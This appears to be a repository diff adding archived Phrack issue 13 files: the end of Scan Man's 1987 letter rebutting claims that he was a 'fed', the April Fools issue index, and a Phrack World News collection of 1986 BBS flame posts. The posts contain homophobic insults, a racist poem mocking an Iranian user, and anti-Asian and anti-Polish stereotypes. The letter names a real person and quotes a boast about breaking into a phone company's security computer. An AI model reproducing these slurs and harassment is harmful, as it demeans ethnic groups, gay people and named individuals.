+ with the authority of my company, I answered back (in front of Larry Algard),
118
+ "Yes, but unbeknownst to my members it's an undercover board for TMC the
119
+ company I work for." And since Telecom Management Corporations initials were
120
+ TMC and they did manage 6 TMC LD companies I knew I was safe if he decided to
121
+ check me out, which I was worried about because earlier this same guy (the one
122
+ that said, "Aren't you Scan Man") had made a comment about the security of the
123
+ meeting and that he believed hackers had infiltrated the meeting. At any rate,
124
+ I was out of the fire with this guy and everyone (about 7 others) standing
125
+ around in our circle. It does however get worse. Two weeks later I got a new
126
+ user on the board named Sally Ride saying, "Larry The Algardian sent me" and
127
+ the msg subj was titled Scott Higginbotham. I answered the msg asking him
128
+ where he got that name (Scott Higginbotham, my real name) but he thought I
129
+ meant where did he get the name Larry the Algardian (see msg reprint below).
130
+ His reply is as follows (actual copy of msg)
131
+
132
+ Scan Man, I got the name from an electronic memo from Sec. Mgr. Larry Algard
133
+ to his boss, George Reay. Since I've access to these files via PNB's UNIX AOS,
134
+ I read about Algard's meeting with Scott at a CFCA Conf. in Miami. It's nice
135
+ to be able to know what the other side is up to, but how did you infiltrate
136
+ CFCA? I was able to infiltrate PNB Sec. thru their own system. But, to attend
137
+ such a meeting of the toll carriers of the nation and learn their plans to
138
+ combat us is a real coup! Understand where I'm coming from?
139
+ Sally Ride:::Space Cadet
140
+
141
+ Now from this msg you can see two things: first that Sally Ride is a two faced
142
+ little S.O.B., plus you can also see why he would think I was fed. I can
143
+ almost (again I stress almost) understand why he was suspicious. This msg also
144
+ points out that at least in his msgs to me he was of the opinion that I had
145
+ infiltrated the conference (not that his opinion about anything matters).
146
+ Then, on a social ladder climbing binge, he turns it around to me being one of
147
+ them (as if he was the only person in the world who could infiltrate
148
+ something). To this I say again, I was doing this when you were still in
149
+ diapers (SR). Even though I can legitimately understand why he would think I
150
+ was a fed as this at least "APPEARS" to be proof that I'm a fed, by that I
151
+ mean if I had broken into a telco security computer and found a msg saying
152
+ that so and so was running a sting board, I would be prone to believe it
153
+ myself. What Sally didn't know was that I had to say that at that conference
154
+ to keep from being fried myself when confronted by a security agent who
155
+ recognized me. But then what are the odds of someone breaking into the very
156
+ computer reading that very msg. If it were me and I was going to take this
157
+ information to the phreak community I would have to state the facts, which
158
+ were that he found this msg, "then print msg". I would not go into the
159
+ guessing that he and KL did in the original Phrack article (or this last one,
160
+ since the first obviously wasn't enough). But back to the point of all of
161
+ this, "WHAT WOULD YOU SAY STANDING IN THE MIDDLE OF 500 TOP TELCO SECURITY
162
+ PEOPLE AND ONE WALKS UP AND SAYS, "AREN'T YOU SO AND SO THAT RUNS SO AND SO
163
+ BBS?" See what I meant about a comedy of errors? Do you also see why
164
+ sometimes what is apparently the truth isn't always what it appears as. Do you
165
+ also see what I mean about gossip and poor journalism? This is not the first
166
+ time that Sally or KL has tried to distort facts and interfere with people's
167
+ lives. I am referring to the past David Lightman incident. Instead of
168
+ belaboring this point, I shall, in the fashion of the great journalists (KL &
169
+ SR), reprint another msg from Sally regarding this other incident in order to
170
+ show what kind of individual we are dealing with (a 19 yr old who if he spent
171
+ as much time hacking and phreaking as he does stretching the facts and butting
172
+ into peoples lives might be a good phreak/hack).
173
+
174
+ From: Sally Ride
175
+
176
+ Well a couple of things..first about Phrack World News..the above mentioned
177
+ article about Blade Runner and David Lightman was credited to David Lightman
178
+ and Blade Runner and someone else, maybe K.L. I really don't know either David
179
+ or Blade that well, but when someone is accused of being a cop, or a phone
180
+ cop, or whatever, I see no reason to keep that a secret from the phreak-world.
181
+ Everyone is able to make their own conclusions based on the information
182
+ provided and considering the sources. Finally, and I hope this ends all
183
+ discussion about this on the "Elite" section of this BBS. Is that what is
184
+ allowed for discussion here? Really, character assassination should be kept to
185
+ the War Room of some other K-Rad luzer BBS. Secondly, thanks to all who kept
186
+ me up to date on the status of the BBSes that had suddenly dropped out of
187
+ sight all for separate unrelated reasons. I found The Twilight Zone, now the
188
+ Septic Tank, it's back at 203-572-0015, old accounts intact. Taran King's
189
+ Metal Shop Private should be back up within hours of this message, see PWN 6
190
+ for the details. And Stronghold East is still down as far as I know, should be
191
+ back around 7/1. Broadway's always been weird but turning informant? Will
192
+ wonders never cease? And, TUC has a board again? And, here I thought he was a
193
+ "Security Consultant", per W.57th St. Who knows who's side who is on? Scan
194
+ Man, here's news from your neck of the woods. A company named Advanced
195
+ Information Management Inc. run by Robert Campbell. The June 23rd issue of
196
+ Communications Week says this guy and his 17 consultants are all over the BBS
197
+ world. They are based in Woodbridge, VA. Know anything about them? Sound like
198
+ some more narcs to worry about. What is the true story on Ralph Meola? PWN 6
199
+ says he's the head of AT&T Security. Has anyone ever heard of him before?
200
+ Sally Ride:::Space Cadet
201
+
202
+ I believe your words were, "character assassinations should be kept on some
203
+ k-rad Luzer war board" (try taking some of your own advice, or is it different
204
+ when it's your friend). You also made the statement that everyone should be
205
+ able to make their own decisions based on the sources. In my case it's two
206
+ guys that don't know me or really anything about me (KL & SR). Did anyone also
207
+ notice Sally's tendency toward a persecution complex? Everyone he mentioned in
208
+ the msg is thought to be a phone cop. I mean, really, take a good look at that
209
+ msg. It's quite obvious this boy is playing God and deciding who is and isn't
210
+ on who's side (you're not the only one who saves msgs). He's either attacked
211
+ or defended (mostly attacked or insinuated) about 5 people in one msg of being
212
+ the bad ole phone cop. Who set you two up as judge and jury? As to how I feel
213
+ about it, I'll use an old saying with a new twist, "If you want to hear the
214
+ jukebox, you damn well better have a quarter," better known as "pay the
215
+ piper". Does it sound like I'm upset? I mean how would you feel if you had
216
+ trouble keeping your family fed, heated, and housed because some asshole that
217
+ just hit puberty stuck their nose into your life. Tell your son, no he can't
218
+ go skating because you don't have the money because........etc.....Also I
219
+ might add that a number of us old guards who were phreaking before there were
220
+ computers and BBSes such as my old friend, Joe Engressia (Secrets of Little
221
+ Blue Box, Esquire 71) (avail P-80) and others have done actual security work
222
+ (not busting heads) defeating security systems on new payphones (test before
223
+ marketing) etc for yrs. I don't see anyone jumping up and yelling phone cop on
224
+ these guys. People who are admitted security people who also claim to be
225
+ phreaks are ignored. So why all the stink with me? In closing I would like to
226
+ say that I have little doubt that in their usual fashion KL and/or SR will
227
+ attempt to go over every word I have typed looking for more SO CALLED FACTS.
228
+ Any way you try to reword it will only be more twisting and supposition. Sooo
229
+ be my guest. You will get no more comments from me. The next time either of
230
+ you two hear from me, you better have your Quarter for the jukebox cause it
231
+ will be time to pay the piper.
232
+
233
+ P.S. KL do me a favor and call my board and let me know whether you will be at
234
+ this phreak conf in St Louis. If so I recommend old cloths, and clean
235
+ underwear.
236
+
237
+
238
+ (Oh yes and a quarter.)
239
+
240
+ Scan Man (3-10-87)
phrack/issue13/1.txt ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue 13, Phile #1 of 10
4
+
5
+ Index...
6
+ ~~~~~~~~
7
+
8
+ Well, as a tribute to April Fools Day (4/1/87) and as a break to the
9
+ normal grinding speed of Phrack Inc. (HA!), we at Phrack Inc. have taken a
10
+ break to be stupid, to get our frustrations out, to make fun of people,
11
+ places, and things, and to be just generally obnoxious.
12
+
13
+ This issue was delayed due to THE EXECUTIONER who may be blamed for
14
+ the slow date release of this issue. We currently believe him to be trekking
15
+ back to his home in the Himalayas to hide with his mom (Saskwatch). Heh...
16
+ Just getting you in the mood for what's ahead.
17
+
18
+ This issue is NOT to be taken seriously in any manner (except
19
+ anything mentioned about Oryan Quest) and is put together extremely loosely.
20
+ None of the files have been formatted. None of the files have been spell-
21
+ checked. Don't expect quality from this issue...just have fun. Later.
22
+
23
+ Taran King
24
+ Sysop of Metal Shop Private
25
+
26
+ ------------------------------------------------------------------------------
27
+
28
+ Table of Contents:
29
+
30
+ #1 Phrack XIII Index by Taran King (2.0K)
31
+ #2 Real Phreaker's Guide Vol. 2 by Taran King and Knight Lightning (5.2K)
32
+ #3 How to Fuck Up the World - A Parody by Thomas Covenant (9.5K)
33
+ #4 How to Build a Paisley Box by Thomas Covenant and Double Helix (4.5K)
34
+ #5 Phreaks In Verse by Sir Francis Drake (3.1K)
35
+ #6 R.A.G. - Rodents Are Gay by Evil Jay (5.8K)
36
+ #7 Are You A Phone Geek? by Doom Prophet (8.8K)
37
+ #8 Computerists Underground News Tabloid - CUNT by Crimson Death (10.5K)
38
+ #9 RAGS - The Best of Sexy Exy (19.2K)
39
+ #10 Phrack World News XIII by Knight Lightning (26.0 K)
40
+ ------------------------------------------------------------------------------
phrack/issue13/10.txt ADDED
@@ -0,0 +1,579 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue 13, Phile #10 of 10
4
+
5
+ PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
6
+ PWN PWN
7
+ PWN *>=-{ Phrack World News }-=<* PWN
8
+ PWN ~~~~~~ ~~~~~ ~~~~ PWN
9
+ PWN Issue XIII PWN
10
+ PWN PWN
11
+ PWN Created, Written, and Edited PWN
12
+ PWN by Knight Lightning PWN
13
+ PWN PWN
14
+ PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
15
+
16
+ Happy April Fool's Day and welcome to Issue Thirteen of Phrack World News. In
17
+ the spirit of April Fool's Day, this is the "rag" issue of PWN. And now we
18
+ take a look back and enjoy the most hilarious posts of the past year. These
19
+ posts were selected only because they were there and no one should take offense
20
+ at the material. Please note that not all posts are rags, which only goes to
21
+ prove that you don't have to rag to be funny.
22
+
23
+ [Some posts have been reformatted and edited for this presentation].
24
+
25
+ [Special thanks to Solid State]
26
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
27
+ Name: The Executioner #47
28
+ Date: 2:33 pm Fri Sep 12, 1986
29
+
30
+ Slave Driver > Do explain that message... I do NOT kiss anyone's ass except my
31
+ own because I am such an awesome studly dude. Something you would know nothing
32
+ about, being studly that is.
33
+
34
+ Master Vax, you are an utter bore who has nothing contributing to say. You are
35
+ so useless. When people say "Sexy-Exy", they say "Ragger Elite, good knowledge
36
+ and not too bad of a cosysop." When people say Circuit Breaker, they say
37
+ "who?????" . Face it, you are basically non-existent in the modem world. You
38
+ command nothing and you hang out with the lowest echelon like Dr. Doom who sat
39
+ there for about 10 minutes taking my abuse, making lame comments thinking he
40
+ was cool.
41
+
42
+ Anyway, this is a phreak/hack sub, not some rag board where I am allowed to
43
+ bug the hel out of you. And when it comes right down to it, I don't brag about
44
+ my knowledge, because "Those who proclaim their knowledge, proclaim their
45
+ ignorance".
46
+
47
+ -The Sexyest Executioner
48
+
49
+
50
+ Name: Dr. Doom #106
51
+ Date: 6:04 pm Fri Sep 12, 1986
52
+
53
+ Executioner...
54
+ Well, it seems that a little more than a week ago, it was 'Dr. Doom, we (PLP)
55
+ feel that you would be a valuable addition to our group and therefore are
56
+ extending an invitation to join the Phone Line Phantoms.' and then I told you
57
+ quite simply that I wasn't interested in joining PLR (Phone Line Raggers). NOW,
58
+ you are calling me voice just to rag on me and posting 'Dr. Doom the loser...'.
59
+ So, the other week you were kissing ass 'Dr. Doom join PLP....' , etc... and
60
+ now quite suddenly I have become a loser because I didn't join PLR.
61
+
62
+ Guy, I could in a few minutes come up with LOADS of stuph to say about you, but
63
+ since you carry no weight and are on some kind of an ego-trip I will let you go
64
+ off to Central Park and play Ninja with Broadway.
65
+
66
+ Dr. Doom
67
+
68
+
69
+ Name: Knight Lightning #2
70
+ Date: 12:49 am Sat Sep 13, 1986
71
+
72
+ This is getdhng good, its been a while since we saw a really heated battle on
73
+ here and you know why? Because those who start heated battles on this board
74
+ get deleted so either post good info or use the email or you won't be using
75
+ the system for anything any longer. In other words lets drop the bullshit
76
+ messages (like this one) use use this sub for what it was intended.
77
+
78
+ :Knight Lightning
79
+
80
+
81
+ Name: The Executioner #47
82
+ Date: 9:45 am Sat Sep 13, 1986
83
+
84
+ By the way, Dr. Doom, we thought you had some knowledge (at least TEL did).
85
+ When I read all 31+ files you wrote, which happened to come straight out of
86
+ manuals, I was not impressed. I am not ragging on you because you didn't join,
87
+ I am pointing out a harsh reality that you should face.
88
+
89
+ You are a peon compared to the monolithic stature of one such as I.
90
+ You are an amoeba compared to the complex genius person I am.
91
+ You are a pimple compared to the sexyness and looks such as I.
92
+ You are a clinging form of pig feces.
93
+
94
+ You throw absolutely NO weight around. No one cares about you or your bbs.
95
+ having absolutely no reputation, you proceed to write 31 files because you cry
96
+ at home fearing that no one likes you. And, I have composed a neat little tune
97
+ about you to the Beverly Hillbillies (Your ancestors)
98
+
99
+ Now listen to a story about a boy named Doom,
100
+ Poor Modem geek who would never leave his room.
101
+ Then one day he was talking on the phone,
102
+ When up in his pants came a miniature bone.
103
+ Penis that is, kind of like a toothpick.
104
+ Well the next thing you know old Doom has a board,
105
+ Running on a commie cuz it's all he can afford.
106
+ So now doom sits at home as happy as can be,
107
+ thinking he's cool he turns down PLP.
108
+ So now he thinks he happnin he thinks he's rad,
109
+ With his high pitched voice, god this boy is sad.
110
+ And this is the story about a dork named Doom,
111
+ Poor modem geek who DOESN'T want to leave his room.
112
+ Why?
113
+ Because your UGLY! D-O-O-M! (<-that was to Mickey Mouse)
114
+
115
+ The End.
116
+
117
+ The Executioner/PhoneLine Phantoms!
118
+ Name: Carrier Culprit #11
119
+ Date: 10:17 am Sat Sep 13, 1986
120
+
121
+ Heh. That was pretty cool. Doom you have no talent what so ever, I could pick
122
+ up a manual and start typing away. When data demon and I were talking to you
123
+ via 3 way you couldn't even answer some basic CCIS stuff. And Lover was the
124
+ only person who wanted you in the group, I hope he wasn't impressed by your
125
+ files (volume I, II, III, IV, V, etc.. heh). And if you think that all PLP
126
+ does is rag, well you must not know what's up in the world. And make up your
127
+ mind, you keep changing your group's name and bragging about turning down an
128
+ offer to be in PLP. Well, Doom my boy you told me your were going to drop
129
+ Metro Communications to join PLP until you saw Exy's rag on your so called
130
+ Commie 5 messages per sub board. Shit your board was up longer than Link, and
131
+ Link blows it away. Well, I really should stop this ragging because it's
132
+ pretty uncool, then again Doom is uncool. Anyway your group is gay in the
133
+ face!
134
+
135
+ --Culprit
136
+ MCI Communications
137
+ Sprint COM
138
+ 950 Communications
139
+ I dunno Communications
140
+ Metro MEN!
141
+
142
+
143
+ Name: Dr. Doom #106
144
+ Date: 10:04 pm Sat Sep 13, 1986
145
+
146
+ Well, as some of you might have seen lately, certain people do not relish the
147
+ fact that I thought very little of them so they are attempting to slander my
148
+ good name by saying that I know nothing and that every file I have ever written
149
+ was copied from manuals. First of all, most files I have written do contain
150
+ some information that was origionally printed on some Bell or AT&T document,
151
+ because they relate to such things as ISDN, but by NO means are they copied
152
+ from manuals in any way.
153
+
154
+ Mikie, that was a rather amusing song, but in no way did anything in it come
155
+ close to possibly reflecting me. I mean it is nice that you want to tell
156
+ everybody about your life and all, but you really should not try to
157
+ self-project your tragedies on someone else. If you need help trying to come
158
+ up with some auto-biographical titles about yourself, you should try :
159
+
160
+ 'The Life and Times of a PLP Loser Named Mikie Chow Ding Dong Dung.'
161
+
162
+ Oh, did you call me UGLY? that is quite far from the truth. Look at you,
163
+ someone who as a child could use dental floss as a blindfold. calling me UGLY?
164
+ Humor me more Mr. 'UGLY' Chinaman who writes files on 'Beauty Techniques'.
165
+ Face it, some people are just born naturally handsome and don't need make up to
166
+ disquise their grotesque features like you do.
167
+
168
+ Since you think you are SO tough, you are cordially invited to come down here
169
+ to Texas where talk is cheap and doesn't mean shit. (Don't forget to bring
170
+ your throwing star collection....'
171
+
172
+ Dr. Doom
173
+
174
+
175
+ Name: The Executioner #47
176
+ Date: 10:18 am Sun Sep 14, 1986
177
+
178
+ Doom, Spare me your lame tongue flapping and breath exhultation that only makes
179
+ you look like the fuckoid you are. People have met me, people know that what I
180
+ say is all backed up and all true. Who has met you? No one has met you so you
181
+ can fling all the bullshit you want. When I say I am gorgeous, the people who
182
+ have met me can always say, "I've met you and you are a dork". But do they?
183
+ No, because I am not a dork unlike yourself.
184
+
185
+ I don't know where you get the idea that I am some karate dude, because I am
186
+ not, and don't even care to be. Unless you are stereotyping all of us
187
+ orientals like that, showing that you are in an ignorant chunk of muleflesh.
188
+ And I could stereotype you, the polish, born of blue collar trash collectors.
189
+ I am sure you go bowling and have bowling trophies mounted in glass cases in
190
+ your cardboard house. How is that dirt floor? How is the bearskin door? I
191
+ know you are of low social stature and therefore do not know or even comprehend
192
+ the social elegance that I am born and bred in. So you can just take you and
193
+ your $20000 income that your family makes and just save it for someone who is
194
+ at your level.
195
+
196
+ Is it true that the welfare lines are long?
197
+ How was the goverment cheese giveaway?
198
+
199
+ The Sexyest Executioner
200
+
201
+
202
+ Name: >UNKNOWN<
203
+ Date: <-> INACTIVE <->
204
+
205
+ As someone else already said: Please spare the rest of us users the pain of
206
+ having to hit the space bar whenever the author of the message is 'Dr. Doom'
207
+ or 'The Executioner', or whatever. Geez...
208
+
209
+ If all goes well, there'll be a K-K00L Ragging Subboard, and you people can
210
+ just go there and tell the other person how k-radical you are, what a stud,
211
+ how good looking, and what an asshole, loozer, rodent the other person is. I
212
+ think most of the other users, along with myself, are getting quite sick of
213
+ all of this...After all: This *IS* the Phrack/Gossip board, right? Yeah...
214
+
215
+ [%] The Yakuza [%]
216
+
217
+
218
+ Name: >UNKNOWN<
219
+ Date: <-> INACTIVE <->
220
+
221
+ What the HELL does your looks have to do with this, Exy? It doesn't matter how
222
+ 'great' looking you are, because the board wasn't put up so you could tell us
223
+ how much of a ladies man you are. If you want to brag, put up your own board.
224
+ And since your messages are directed to one person, USE THE FUCKING EMAIL
225
+ COMMAND! thats what its there for.
226
+
227
+ Some people..
228
+
229
+
230
+
231
+
232
+ Name: The Executioner #47
233
+ Date: 10:31 am Sun Sep 14, 1986
234
+
235
+ Ass kissing? Please, spare me the vomit of your mouth huh bud? Taran says
236
+ something about ISDN and since I knew something about what he said, I decided
237
+ to expand it into an explanation which is definately not ass kissing. I don't
238
+ kiss anyone's ass because I dont have to. Taran does not delete me out of
239
+ mutual respect I have for him and I should think he has for me. Notice I don't
240
+ use low-level words like "fuck" and "shit" and all the other terms that people
241
+ with IQ's of a marble statue have. So Dr. Doom is a good friend of yours huh?
242
+ Probably your ONLY friend because both of you look like the Elephant Man....
243
+ "I'm Noooooooot an ANIMAL!!!", don't worry Doc, Paper bags are still in.
244
+
245
+ As for files, I have written my share, and really could care less whether or
246
+ not you can read or not. As for the PhoneLine Phantoms, we are not just a
247
+ telecom group, we are comprised of the 4 best looking, studliest people. When
248
+ I heard about Doom, I said, well, I dunno, we will have to reduce our image of
249
+ 4 studs into 4 studs and 1 dud. As for playing with my male organ, you must
250
+ know more than I, considering you know all these nifty little sayings you must
251
+ have thought up when you were raping that coke bottle. As for calling Doom, I
252
+ call when I get a deep feeling of pity abnd decide to enlighten the poor
253
+ impoverished boy.
254
+
255
+ So, why don't you, Doom, Master Vax (Circuit Breaker) go and slither back into
256
+ your holes where you can fester and leave the REAL stuff to me and Culprit.
257
+
258
+ And if you really wanna take this issue far, I propose a challenge. I will
259
+ send my picture to an unbiased third party and you do the same. Then we will
260
+ see who is the REAL Sexy-Exy. Oh yeah, it's Mikey, not Mikie, and Exy, not
261
+ Exie, and I prefer a "Mr. Executioner, sir" before you speak to me. I will just
262
+ call you little peon...
263
+
264
+ -The Executioner
265
+ PhemalesLuv Phantoms!
266
+
267
+ PS: People who belong to something cool can post it, those who can't, don't.
268
+
269
+ Name: Taran King #1
270
+ Date: 11:00 am Sun Sep 14, 1986
271
+
272
+ PLP vs. Everyone has to stop, guys...at least on the phreak board. This is
273
+ for telecommunications only. If you really want, I can create a rag subboard
274
+ so you can bitch all you want, but it's getting a bit tedious out here. Exy,
275
+ I know you have quite a bit of knowledge hidden somewhere in your mind, I've
276
+ seen your philes, and they're decent. Dr. Doom, I know you pretty well, and I
277
+ thought the two philes I read were quite decent as well.
278
+
279
+ How about a bit of unity in the crumbling phreak world that we know today, huh?
280
+ It's already in shambles and people are getting totally bored of it, or are
281
+ being busted. Most of us on here have been around for at very least 6 months
282
+ so that says something about us...I know Exy wouldn't mind a rag board, because
283
+ he excells in it, but I'll leave the final decision to the users. Go V:ote
284
+ now, please, and stop posting rags...MORE INFO!!!
285
+
286
+ -TK
287
+ GETTING PISSED!
288
+
289
+
290
+ Name: Dr. Doom #106
291
+ Date: 5:48 pm Sun Sep 14, 1986
292
+
293
+ Well, I am going to change the discussion because I am quite (yawn...) tired
294
+ of this useless ragging. (By the way I drive a sports car, live in an
295
+ affluent neighborhood, and am not Polish but of English decent). OK, like I
296
+ was saying I am going to try to put a little life back into the Phreak World
297
+ with a new Electronic Journal. The Dr. Doom Journal of Telecommunications as
298
+ I call it will center around topics and techniques that have not been readily
299
+ discussed. Although I will be doing a lot of writing (because I like to), I am
300
+ looking for anyone else that might be interested in helping out. One of the
301
+ Departments will be like a mini-catalog of places where you can order all
302
+ sorts of cool stuph from that has to do with Telecom, etc... If you are
303
+ interested or even have some places to order things from, send me mail.
304
+
305
+ Later...
306
+ Dr. Doom
307
+
308
+
309
+ Name: Doc Holiday #19
310
+ Date: 11:59 pm Sat Sep 13, 1986
311
+
312
+ Well, since I have been away, I have noticed a few changes, but some things
313
+ will never change I guess. Executioner is the same fag he's always been. Big
314
+ deal, he has expanded his ragging capabilities all the way to Texas with
315
+ Dr. Doom, who happens to be a good friend of mine. I have one question for
316
+ you Mike, do you do anything else besides vegetate in front of your monitor
317
+ and write songs about people? You seemed to have a very good knowledge of the
318
+ content of the "Hillbillies" song. I guess that shows your level of intellect.
319
+
320
+ I really dislike ragging so this is probably the only post that will deal with
321
+ it. If you have something to say to me, call me, if you can get my number I
322
+ will be more than happy to toy around with you. You are shit. That is what I
323
+ get out of all of this. You rag on Dr. Doom's files but, have you ever written
324
+ a file with useful information in it? I seriously doubt it. Some of Doom's
325
+ files are so-so because I already know a lot of it, but many of his articles
326
+ are actually quite informative. Have you even read any of them?
327
+
328
+ Also, why is it that you call him quite often every day? Have you ever left
329
+ your house or anything besides to ride the little school bus to get to school?
330
+ That is very doubtful also. Taran, why don't you just get rid of this nusance?
331
+ Is he some sort of threat to you? Anyway, Exie, about your brown-nosing, I see
332
+ all of these rag posts of yours, then Taran posts something on ISDN and then
333
+ you immediately post something on the topic, afterwhich you go back to ragging.
334
+ If that isn't ass-kissing then explain to me what is.
335
+
336
+ What about PLP, why do you even bother to exist? I am speaking mainly to
337
+ Carrier Culprit and The Executioner. I remember being on three-way with CC
338
+ and someone else whom I won't name, and listening to him say things about me.
339
+ I have never even talked to the person before. Then when I got on the line and
340
+ talked with him, he didn't know anything. I would ask about general telecom
341
+ topics and he would say "I'm sorry, I don't know much about the phone network,
342
+ I hack mostly", then I would ask something about hacking and he
343
+ co-oincidentally couldn't remember his way around those systems very well
344
+ because they weren't that important. Did someone mention DEC? They are a
345
+ really nice company. I am involved with them quite often. I even use a DEC
346
+ terminal to call places instead of a computer. The Executioner probably thinks
347
+ a DEC is something you play with every night before you go }to bed, because of
348
+ his personal experiences. He is a DEC (w)hacker, but anyways, I think I have
349
+ made my point.
350
+
351
+ Doc Holiday
352
+
353
+ PS: Notice no fancy shit under name...sorry, but I don't take ego trips during
354
+ the off season.
355
+
356
+ Name: The Executioner
357
+ Date: 2:57 pm Tue Sep 23, 1986
358
+
359
+ ^ ^
360
+ / + \ / + \
361
+ /*TBC*\ /*TBC*\
362
+ |=====|__________________________________|=====|
363
+ | | | |
364
+ ||||||| The Executioner & Egyptian Lover |||||||
365
+ |-----| -------------------------------- |-----|
366
+ | Rag | | The Breakfast Club | | Rag |
367
+ |Files| -------------------------------- |Files|
368
+ ################################################
369
+ % %
370
+ % Presenting: Rag Volume Four %
371
+ % ---------------------------- %
372
+ %%%%%%%%%%%| /\/\/\/\/\/\/\/\/\/\/\/\ |%%%%%%%%%
373
+ | Arthur Dent: Third World Iranian |
374
+ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
375
+
376
+
377
+ There's this kid called Arthur Dent,
378
+ He's got no money, not one red cent.
379
+ Cool and Slick is what he wants to be,
380
+ He even wants to be a part of LOD!
381
+ His mother country, he calls Iran,
382
+ He cleans camel stalls like no one can.
383
+ All he wants, is to hang around with phreaks,
384
+ But there's a law against third world geeks.
385
+ It says: "Get out of my country, get outta my land,
386
+ Go back to your people who make houses out of sand."
387
+ Pack your bags and be on your way,
388
+ We don't want you 'cuz you're all gay.
389
+ You think you're cool 'cuz you can hack,
390
+ I hate to tell you this, but bud you're wack.
391
+ I saw your picture and boy are you lame,
392
+ From under a rock is where I think you came.
393
+ You cry "Hey Phucked agent, please teach me!"
394
+ You annoy the poor man, don't you see?
395
+ You try to impress everyone in sight,
396
+ One look at you and we run in fright.
397
+ Ain't it funny how your temper does fume,
398
+ When I say I'm in the Legion of Doom.
399
+ With a cardiac arrest, you get all hyper,
400
+ In case you piss in your pants, here's a diaper.
401
+ Now, don't get mad from this little ol' rag,
402
+ Just cover your face with a grocery bag.
403
+ With a towel on your head you do declare,
404
+ "Allah gimme a real life and real hair."
405
+ Well, my iranian friend, I am done,
406
+ I hope you don't mind me having some fun.
407
+ =============================================================
408
+ The above is a rag I wrote a while back, I got alot of good feedback from it so
409
+ I'd thought I'd have an encore presentation.
410
+
411
+ The Executioner
412
+
413
+
414
+ Name: The Executioner
415
+ Date: 4:53 pm Sun Oct 12, 1986
416
+
417
+ Anyway, as to Quest, that little nuisance thinks he has a real bbs and he
418
+ thinks just because I let him talk to me for 5 minutes he's my best friend.
419
+ Frankly, I'd axe him just because he shows no sign of any capable action short
420
+ of maybe masturbating his dog into a bowl of frozen tofu.
421
+
422
+ Ciao
423
+
424
+ Sexy
425
+
426
+
427
+ Name: Arthur Dent
428
+ Date: 11:06 pm Mon Oct 13, 1986
429
+
430
+ You mean PINK tofu, I think. Read read the last message if you haven't the
431
+ slightest
432
+
433
+ dent
434
+
435
+
436
+ Name: Knight Lightning
437
+ Date: 10:46 pm Sun Nov 23, 1986
438
+
439
+ PLP Three-Way Con:
440
+
441
+ Rich: Hey Mike the board is going great!
442
+ Mike: Thats good, any new users today?
443
+ Rich: A few, I haven't validated them yet...
444
+ Eric: Ho hum...
445
+ Mike: Lets call some now and check them out.
446
+ Rich: Ok, hold on...
447
+ Eric: No Rich wait wait...
448
+ Rich: I'm going to click over to three way.
449
+ Eric: NO! Wait wait Rich hold on.
450
+ Rich: I'm Going toCLICK on my three way hold on!
451
+ Mike: Whats your problem Eric?
452
+ Eric: Wait Rich, will you just wait a minute!
453
+ Rich: Ok!? What!?
454
+ Eric: Rich, (pause) You're gey!
455
+ Mike: Eric, you are the Wack!
456
+ Eric: Shut up Mike!
457
+ Mike: What? Hello, hello did you say something? Hello hello?
458
+ Eric: Dag!
459
+
460
+ :Knight Lightning
461
+
462
+
463
+ From: SHERLOCK HOLMES
464
+ Date: MON FEB 16 9:04:17 PM
465
+
466
+ On a recent visit to The Iron Curtain, (I think that was the one).. well it was
467
+ my first time on and they were talking about stuph like newsletters and things
468
+ like that.. one post said something like this:
469
+
470
+ "Okay... I know you guys have heard of TAP and 2600, well there is a new
471
+ phreak/hack newsletter. It's called Phrack [Please note that by this time
472
+ Phrack X was already well underway and being distributed] try and get a file in
473
+ it. Phrack is all these files. It looks really good. I would try to get a
474
+ file in there to impress your friends."
475
+
476
+ Sherlock
477
+
478
